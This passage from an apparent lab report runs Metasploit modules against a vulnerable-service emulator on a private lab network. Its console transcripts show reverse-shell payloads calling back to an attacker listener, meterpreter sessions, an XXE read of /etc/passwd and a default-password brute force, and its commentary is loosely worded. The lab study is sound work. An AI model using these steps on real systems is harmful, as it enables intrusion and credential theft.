- **CVE Entry**
  https://cvedetails.com/cve/CVE-2014-7285/ [19]
- **Platform**
  Unix
- **Approach to be used**

The approach used here is to gain a shell session using the required username and password.

Target's machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
[sudo] password for evon:
lhost is now 0.0.0.0
>>act exploit/linux/http/symantec_web_gateway_restore
listening on port 443
>>>>metepreter is connected IO::Socket::INET=GLOB(0x5600b0504038)
sending >> to start with simple session
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 443 in other to get the vulnerability exploited and gain a shell session by connecting to the meterpreter.

Attacker's machine

```
msf5 exploit(linux/http/tp_link_sc2020n_authenticated_telnet_injection) > use
exploit/linux/http/symantec_web_gateway_restore)
msf5 exploit(linux/http/symantec_web_gateway_restore) > set rhosts 192.168.10.128
rhosts => 192.168.10.128
msf5 exploit(linux/http/symantec_web_gateway_restore) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf5 exploit(linux/http/symantec_web_gateway_restore) > set username admin
username => admin
msf5 exploit(linux/http/symantec_web_gateway_restore) > set password pass
password => pass
msf5 exploit(linux/http/symantec_web_gateway_restore) > options
Module options (exploit/linux/http/symantec_web_gateway_restore):
Name      Current Setting  Required  Description
PASSWORD  pass             yes       The password for the username
Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS    192.168.10.128   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT     443              yes       The target port (TCP)
SSL       false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI /                yes       The URI to Symantec Web Gateway
USERNAME  admin            yes       The username to login as
VHOST                      no        HTTP server virtual host
Payload options (cmd/unix/reverse_python):
Name   Current Setting  Required  Description
LHOST  192.168.10.130   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port
SHELL  /bin/bash        yes       The system shell to use.
Exploit target:
Id  Name
0   Symantec Web Gateway 5
msf5 exploit(linux/http/symantec_web_gateway_restore) > run
[*] Started reverse TCP handler on 192.168.10.130:4444
[*] Getting the PHPSESSID...
[*] Attempting to log in as admin:pass
```

```
[*] Trying restore.php...
[*] Command shell session 3 opened (192.168.10.130:4444 -> 192.168.10.128:44866) at 2020-10-20 12:33:06 -
0400
>>
```

The above output gained a shell session with the required login credentials as the username as admin and password as pass.

10. Exploit/linux/http/atutor_filemanager_traversal

Vulnerability Details	Cve Entry	Platform
-	-	PHP

This module exploits the ATutor directory traversal vulnerability in an Apache / PHP setup with display errors set to On, which can be used to upload a malicious ZIP file. A blacklist verification is carried out on the web application before extraction but is not sufficient to avoid exploitation. It is expected to log in to the target in order to reach the vulnerability, but this can be achieved as a student account and remote registration is allowed by default. Just in case remote registration is not allowed, this module uses 2 vulnerabilities to bypass authentication by confirm php Authentication Bypass Form Juggling vulnerability and password reminder.php Remote Password Reset TOCTOU vulnerability. [20]

- **Platform**
  PHP
- **Approach to be used**

The approach used here is to gain a shell session while starting an interaction with the meterpreter with the right login credentials.

Target's machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
lhost is now 0.0.0.0
>>act exploit/linux/http/atutor_filemanager_traversal
listening on port 80
>>>>metepreter is connected IO::Socket::INET=GLOB(0x5645a89f6610)
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 80 in other to get the vulnerability exploited and gain a shell session by connecting to the meterpreter.

Attacker's machine

```
msf5 exploit(linux/http/riverbed_netprofiler_netexpress_exec) > msf5
exploit(linux/http/atutor_filemanager_traversal)
msf5 exploit(linux/http/atutor_filemanager_traversal)> set rhosts 192.168.10.128
rhosts => 192.168.10.128
msf5 exploit(linux/http/atutor_filemanager_traversal) > set username admin
username => admin
msf5 exploit(linux/http/atutor_filemanager_traversal) > set password admin
password => admin
msf5 exploit(linux/http/atutor_filemanager_traversal) > options
Module options (exploit/linux/http/atutor_filemanager_traversal):
Name       Current Setting  Required  Description
PASSWORD   admin            no        The password to authenticate with
Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.10.128   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT      80               yes       The target port (TCP)
SSL        false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI  /ATutor/         yes       The path of Atutor
USERNAME   admin            no        The username to authenticate as
VHOST                       no        HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name   Current Setting  Required  Description
LHOST  192.168.10.130   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port
Exploit target:
Id  Name
0   Automatic
msf5 exploit(linux/http/atutor_filemanager_traversal) > run
[*] Started reverse TCP handler on 192.168.10.130:4444
[+] 192.168.10.128:80 - Logged in as admin
[+] 192.168.10.128:80 - Found the webroot
[+] 192.168.10.128:80 - Zip upload successful !
[*] Sending stage (38288 bytes) to 192.168.10.128
[*] Meterpreter session 1 opened (192.168.10.130:4444 -> 192.168.10.128:44988) at 2020-10-20 16:17:24 -0400
[!] This exploit may require manual cleanup of '.htaccess' on the target
[!] This exploit may require manual cleanup of 'lzzz.pht' on the target
[!] This exploit may require manual cleanup of 'lzzz.php4' on the target
[!] This exploit may require manual cleanup of 'lzzz.phtml' on the target
meterpreter > background
```

```
[*] Backgrounding session 1...
msf5 exploit(linux/http/atutor_filemanager_traversal) > sessions -i 1
[*] Starting interaction with 1...
```

The above output here shows that a shell session was gained with the password and username set as “admin” in other to start interaction with meterpreter.

11. Exploit/linux/http/riverbed_netprofiler_netexpress_exec

Vulnerability Details	Cve Entry	Platform
-	-	Linux

This module exploits three different vulnerabilities found in the Riverbed SteelCentral NetProfiler / NetExpress virtual appliances for remote command execution as the root consumer. You may use a SQL injection in the login form to connect a malicious user to the application database. An attacker can then use the weakness of the command injection in the web interface to achieve arbitrary code execution. Finally, an unsafe configuration of the sudoers file may be misused for scaling privileges to root. [21]

- **Platform**
  Linux
- **Approach to be used**

The approach used here is to gain a shell session while starting an interaction with the meterpreter with the right login credentials.

Target's machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
[sudo] password for evon:
lhost is now 0.0.0.0
>>act exploit/linux/http/riverbed_netprofiler_netexpress_exec
listening on port 8080
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 8080 in other to get the vulnerability exploited.

Attacker's machine

```
msf5 exploit(linux/http/riverbed_netprofiler_netexpress_exec) > options
Module options (exploit/linux/http/riverbed_netprofiler_netexpress_exec):
Name              Current Setting  Required  Description
HTTPDELAY         10               yes       Time that the HTTP Server will wait for the payload request
Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS            192.168.10.128   yes       The target host(s), range CIDR identifier, or hosts file with syntax
'file:<path>'
RIVERBED_PASSWORD  riverbed        yes       Web interface user password
RIVERBED_USER     user             yes       Web interface user account to add
RPORT             443              yes       The target port (TCP)
SRVHOST           0.0.0.0          yes       The local host or network interface to listen on. This must be an address
on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT           8080             yes       The local port to listen on.
SSL               false            no        Negotiate SSL/TLS for outgoing connections
SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)
TARGETURI         /                yes       The target URI
URIPATH                            no        The URI to use for this exploit (default is random)
VHOST                              no        HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name   Current Setting  Required  Description
LHOST  192.168.10.130   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port
Exploit target:
Id  Name
0   Riverbed SteelCentral NetProfiler 10.8.7 / Riverbed NetExpress 10.8.7
msf5 exploit(linux/http/riverbed_netprofiler_netexpress_exec) > run
[*] Started reverse TCP handler on 192.168.10.130:4444
[*] Attempting log in to target appliance
[+] Valid login credentials provided. Successfully logged in
[*] Saving login credentials into Metasploit DB
[*] Confirming command injection vulnerability
[*] Using URL: http://0.0.0.0:8080/ksNxwT9Fm
[*] Local IP: http://192.168.10.130:8080/ksNxwT9Fm
[*] Server started.
[*] Privilege escalate to root and execute payload
[*] Server stopped.
[!] This exploit may require manual cleanup of '/tmp/smosfrae' on the target
[!] This exploit may require manual cleanup of '/tmp/ojmqwxne' on the target
[*] Exploit completed, but no session was created.
```

The above output here shows a successfully login into the server by gaining privilege which escalated to the root and executed payload whereby there was an exploit but there was no session created.

12. **Auxiliary/scanner/http/atlassian_crowd_fileaccess**

Vulnerability Details	Cve Entry	Platform
CVE-2012-2926	https://cvedetails.com/cve/CVE-2012-2926/	-

This module simply attempts to read a remote server file using a flaw in the way Atlassian Crowd handles XML files. The weakness arises when attempting to extend external entities with the SYSTEM identifier. This module was successfully tested on Crowd's Linux and Windows installations. Atlassian JIRA before 5.0.1; Confluence before 3.5.16, 4.0 before 4.0.7, and 4.1 before 4.1.10; FishEye and Crucible before 2.5.8, 2.6 before 2.6.8, and 2.7 before 2.7.12; Bamboo before 3.3.4 and 3.4.x before 3.4.5; and Crowd before 2.0.9, 2.1 before 2.1.2, 2.2 before 2.2.9, 2.3 before 2.3.7, and 2.4 before 2.4.1 do not properly restrict the capabilities of third-party XML parsers, which allows remote attackers to read arbitrary files or cause a denial of service (resource consumption) via unspecified vectors. [22]

- **CVE Entry**
  https://cvedetails.com/cve/CVE-2012-2926/ [22]
- **Approach to be used**

The approach used here is to recover a password in the "etc/passwd" folder saved as "/home/kali/.msf4/loot/20201020162623_default_192.168.10.128_atlassian.crowd._778573.bin".

Target's machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
lhost is now 0.0.0.0
>>act auxiliary/scanner/http/atlassian_crowd_fileaccess
listening on port 8095
>>>>
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 8095 in other to get the vulnerability exploited.

Attacker's machine

```
msf5 exploit(linux/http/atutor_filemanager_traversal) > use auxiliary/scanner/http/atlassian_crowd_fileaccess
msf5 auxiliary(scanner/http/atlassian_crowd_fileaccess) > options
Module options (auxiliary/scanner/http/atlassian_crowd_fileaccess):
Name       Current Setting  Required  Description
Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
RFILE      /etc/passwd      yes       Remote File
RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT      8095             yes       The target port (TCP)
SSL        false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI  /crowd/services  yes       Path to Crowd
THREADS    1                yes       The number of concurrent threads (max one per host)
VHOST                       no        HTTP server virtual host
msf5 auxiliary(scanner/http/atlassian_crowd_fileaccess) > set rhosts 192.168.10.128
rhosts => 192.168.10.128
msf5 auxiliary(scanner/http/atlassian_crowd_fileaccess) > run
[*] 192.168.10.128:8095 Connecting to Crowd SOAP Interface
[+] 192.168.10.128:8095 Atlassian Crowd - /etc/passwd saved in
/home/kali/.msf4/loot/20201020162623_default_192.168.10.128_atlassian.crowd._778573.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

The above output shows a connection to Crowd SOAP Interface in other to retrieve "/home/kali/.msf4/loot/20201020162623_default_192.168.10.128_atlassian.crowd._778573.bin" in the /etc/passwd folder.

13. Auxiliary/scanner/http/ektron_cms400net

Vulnerability Details	Cve Entry	Platform
-	-	-

Ektron CMS400.NET is a. NET-based online content management system. This module checks installations that use the default passwords set by the provider. In addition, it has the power to force the user accounts. Note that Ektron CMS400.NET, by default, enforces standard user account locks after a number of failed attempts have been made. [23]

- **Approach to be used**

The approach used here is by authenticating the username and password of the target system vulnerability in the "/usr/share/metasploit-framework/data/wordlists/cms400net_default_userpass.txt" file and applying a brute force attack setting the speed as 5.

Target's machine

```
evon@ubuntu:/opt/metasploit-vulnerability-emulator$ sudo perl vulEmu.pl ip 0.0.0.0
[sudo] password for evon:
lhost is now 0.0.0.0
>>act auxiliary/scanner/http/ektron_cms400net
listening on port 80
>>>>
```

The above output is ip 0.0.0.0 as a listener on default route, here we are listening on port 80 in other to get the vulnerability exploited.

Attacker's machine

```
msf5 exploit(multi/http/jira_hipchat_template) > use auxiliary/scanner/http/ektron_cms400net
msf5 auxiliary(scanner/http/ektron_cms400net) > set rhosts 192.168.10.128
rhosts => 192.168.10.128
msf5 auxiliary(scanner/http/ektron_cms400net) > options
Module options (auxiliary/scanner/http/ektron_cms400net):
Name            Current Setting                                                  Required  Description
BRUTEFORCE_SPEED  5                                                                 yes       How fast to bruteforce, from
0 to 5
DB_ALL_CREDS      false                                                             no        Try each user/password couple
stored in the current database
DB_ALL_PASS       false                                                             no        Add all passwords in the current
database to the list
DB_ALL_USERS      false                                                             no        Add all users in the current
database to the list
PASSWORD                                                                            no        A specific password to authenticate
with
PASS_FILE                                                                           no        File containing passwords, one per line
Proxies                                                                             no        A proxy chain of format
type:host:port[,type:host:port][...]
RHOSTS          192.168.10.128                                                      yes       The target host(s), range CIDR
identifier, or hosts file with syntax 'file:<path>'
RPORT           80                                                                  yes       The target port (TCP)
SSL             false                                                               no        Negotiate SSL/TLS for outgoing
connections
STOP_ON_SUCCESS   false                                                             yes       Stop guessing when a credential
works for a host
THREADS         1                                                                   yes       The number of concurrent threads
(max one per host)
URI             /WorkArea/login.aspx                                                yes       Path to the CMS400.NET login
page
USERNAME                                                                            no        A specific username to authenticate
as
USERPASS_FILE   /usr/share/metasploit-framework/data/wordlists/cms400net_default_userpass.txt  no        File
containing users and passwords
USER_AS_PASS      false                                                             no        Try the username as the password
for all users
USER_FILE                                                                           no        File containing usernames, one per
line
VERBOSE         true                                                                yes       Whether to print output for all
attempts
VHOST                                                                               no        HTTP server virtual hostS
```

```
msf5 auxiliary(scanner/http/ektron_cms400net) > run
[*] Ektron CMS400.NET install found at http://192.168.10.128:80/WorkArea/login.aspx  [HTTP 200]
[*] Testing passwords at http://192.168.10.128:80/WorkArea/login.aspx
[*] http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'admin' with password:'admin'
[-] http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'admin'
[*] http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'builtin' with password:'builtin'
[-] http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'builtin'
[*] http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'jedit' with password:'jedit'
[-] http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'jedit'
[*] http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'jmember' with password:'jmember'
[-] http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'jmember'
[*] http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'Admin2' with password:'Admin2'
[+] http://192.168.10.128:80/WorkArea/login.aspx [Ektron CMS400.NET] Successful login: 'Admin2' : 'Admin2'
[*] http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'tbrown' with password:'tbrown'
[-] http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'tbrown'
[*] http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'jsmith' with password:'jsmith'
[-] http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'jsmith'
[*] http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'vs' with password:'vs'
[-] http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'vs'
[*]http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'EkExplorerUser' with password:'EkExplorerUser'
[-] http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'EkExplorerUser'
[*] http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'Explorer' with password:'Explorer'
[-] http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'Explorer'
[*]http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'member@example.com' with password:'member@example.com'
[-]http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'member@example.com'
[*] http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'north' with password:'north'
[-] http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'north'
[*]http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'supermember' with password:'supermember'
[-] http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'supermember'
[*] http://192.168.10.128:80/WorkArea/login.aspx - Trying: username:'west' with password:'west'
[-] http://192.168.10.128:80/WorkArea/login.aspx [Ekton CMS400.NET] - Failed login as: 'west'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

The above output shows the variables in “auxiliary/scanner/http/ektron_cms400net” that needs to be established by having a successful login where the username: Admin2 and password: Admin2 using a brute force attack.

References

[1] Rapid7, "Introducing the Metasploit Vulnerable Service Emulator," Rapid 7, 02 March 2017. [Online]. Available: https://blog.rapid7.com/2017/03/02/vulnerable-service-emulator/. [Accessed 20 September 2020].

[2] Liam Cleary [MVP, MCT], "Testing Metasploit against a vulnerable service," 13 April 2017. [Online]. Available: https://www.helloitsliam.com/2017/04/13/testing-metasploit-against-a-vulnerable-service/. [Accessed 20 septemeber 2020].

[3] vmware, "Download VMware Workstation Pro," vmware, 15 September 2020. [Online]. Available: https://www.vmware.com/ca/products/workstation-pro/workstation-pro-evaluation.html. [Accessed 20 September 2020].

[4] Offensive security, "DOWNLOAD KALI LINUX VIRTUAL IMAGES," Offensive security, [Online]. Available: https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/. [Accessed 20 September 2020].

[5] Ubuntu, "Ubuntu 20.04 LTS arrives," Canonical Ltd, 23 April 2020. [Online]. Available: https://ubuntu.com/blog/ubuntu-20-04-lts-arrives. [Accessed 20 September 2020].

[6] Sagar Rahalkar, "Chapter 5: Vulnerability Hunting with Metasploit," in *Metasploit 5.0 for Beginners - Second Edition*, Packt Publishing, 2020.

[7] Rapid7, "Buffalo NAS Login Utility," Rapid7, 30 May 2018. [Online]. Available: https://www.rapid7.com/db/modules/auxiliary/scanner/http/buffalo_login. [Accessed 20 September 2020].

[8] C. Details, "Vulnerability Details : CVE-2010-2426 (1 Metasploit modules)," 10 October 2018. [Online]. Available: https://www.cvedetails.com/cve/CVE-2010-2426/. [Accessed 03 October 2020].

[9] Sophie Brun, " titanftp_xcrc_traversal.rb," Gitlab, 22 March 2016. [Online]. Available: https://gitlab.com/kalilinux/packages/metasploit-framework/blob/532d53a022f5a07b8bc7b325779241de6e1f2dd2/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb. [Accessed 03 October 2020].

[10] Rapid7, "Canon Printer Wireless Configuration Disclosure," 30 May 2018. [Online]. Available: https://www.rapid7.com/db/modules/auxiliary/scanner/http/canon_wireless. [Accessed 05 October 2020].

[11] C. V. a. Exposure, "CVE-2013-4614," Common Vulnerabilities and Exposure, 2013. [Online]. Available: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4614. [Accessed 05 October 2020].

[12] C. Details, "Vulnerability Details : CVE-2013-4614 (1 Metasploit modules)," CVE Details, 24 June 2013. [Online]. Available: https://www.cvedetails.com/cve/CVE-2013-4614/. [Accessed 05 October 2020].

[13] Rapid7, "MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow," Rapid7, 30 May 2018. [Online]. Available: https://www.rapid7.com/db/modules/exploit/windows/iis/ms01_023_printer. [Accessed 06 October 2020].

[14] C. Details, "Vulnerability Details : CVE-2001-0241 (1 Metasploit modules)," CVE Details, 30 April 2019. [Online]. Available: https://www.cvedetails.com/cve/CVE-2001-0241/OSVDB%20(3323). [Accessed 06 October 2020].

[15] C. Details, "Vulnerability Details : CVE-2014-8270 (1 Metasploit modules)," 12 December 2014. [Online]. Available: https://www.cvedetails.com/cve-details.php?t=1&cve_id=CVE-2014-8270. [Accessed 10 October 2020].

[16] C. Details, "Vulnerability Details : CVE-2012-5192 (1 Metasploit modules)," CVE Details, 27 January 2014. [Online]. Available: https://www.cvedetails.com/cve-details.php?t=1&cve_id=CVE-2012-5192. [Accessed 10 October 2020].

[17] C. Details, "Vulnerability Details : CVE-2009-1122 (2 Metasploit modules)," CVE Details, 12 October 2018. [Online]. Available: https://www.cvedetails.com/cve/CVE-2009-1122/. [Accessed 11 October 2020].

[18] C. Details, "Vulnerability Details : CVE-1999-0502 (25 Metasploit modules)," CVE Details, 30 Octoer 2018. [Online]. Available: https://www.cvedetails.com/cve/CVE-1999-0502/. [Accessed 12 October 2020].

[19] C. Details, "Vulnerability Details : CVE-2014-7285 (1 public exploit) (1 Metasploit modules)," CVE Details, 2 January 2017. [Online]. Available: https://www.cvedetails.com/cve/CVE-2014-7285/. [Accessed 20 October 2020].

[20] Vulners, "ATutor 2.2.1 Directory Traversal / Remote Code Execution," Vulners, 02 October 2020. [Online]. Available: https://vulners.com/metasploit/MSF:EXPLOIT/LINUX/HTTP/ATUTOR_FILEMANAGER_TRAVERSAL. [Accessed 20 October 2020].

[21] Vulners, "Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution," Vulners, 02 October 2020. [Online]. Available: https://vulners.com/metasploit/MSF:EXPLOIT/LINUX/HTTP/RIVERBED_NETPROFILER_NETEXPRESS_EXEC. [Accessed 20 October 2020].

[22] C. Details, "Vulnerability Details : CVE-2012-2926 (1 Metasploit modules)," CVE Details, 28 August 2017. [Online]. Available: https://www.cvedetails.com/cve/CVE-2012-2926/. [Accessed 20 October 2020].

[23] Rapid7, "Ektron CMS400.NET Default Password Scanner," Rapid7, 30 May 2018. [Online]. Available: https://www.rapid7.com/db/modules/auxiliary/scanner/http/ektron_cms400net. [Accessed 22 October 2020].

[24] Jin Qian, "Introducing the Metasploit Vulnerable Service Emulator," Rapid7, 02 March 2017. [Online]. Available: https://blog.rapid7.com/2017/03/02/vulnerable-service-emulator/. [Accessed 24 May 2020].